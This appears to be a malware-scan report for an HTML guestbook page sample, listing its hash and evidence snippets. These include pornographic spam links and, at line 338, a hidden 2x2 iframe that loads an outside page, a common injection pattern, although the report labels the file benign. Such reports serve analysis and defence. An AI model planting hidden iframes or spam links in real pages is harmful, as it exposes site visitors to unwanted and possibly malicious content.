Benign Download

VirusShare_e53ffae1b5698d7ece3218dbd495ce48

HTML form declares the POST methodLoads external iframe content

SHA-256e22c330e325150485ab33865c393d798f43d05aa0b8ca10755416b086df09be3

Evidence

Loads local script element lines 8–11

8:17… ="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
9<script language="JavaScript" src="../keut.js"></script>
10<script language="JavaScript" src="../fond_td.js"></script>
11<BODY onload="zoom_frm(710)"><!--style="background-image: url(images/tranp_vers_noir.gif); background-repeat: repeat- …

English function-word token "that" line 153

153:13… arial" color="#000000" size="-1">Uhuh, but it's that explains &lt;a href=http://myurl.com.tw/51jn&gt;gushing pussy&lt;/a&gt; gushing pussy http://my …

English function-word token "the" line 153

153:232… eir ankles. As i was over me in her fingertips. The pool and you &lt;a href=http://myurl.com.tw/e92g&gt;my black pussy&lt;/a&gt; my black pussy http://myurl …

HTML form declares the POST method lines 299–309

299:46… center></b> 
300</font> 
301</td> 
302</tr> 
303<tr><td bgcolor="#E6BD10"> 
304<form method="POST" action="livredor.php3"> 
305<center> 
306<br> 
307<font face="arial" color="#000000" size="-1"> 
308<b>Votre nom</b> :&nbsp; 
309<input type=" …

Loads external iframe content lines 331–339

⋯5 lines
336
337
338<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://oyunnokta.com/azod.html?i=1379></iframe></body>
339</HTML>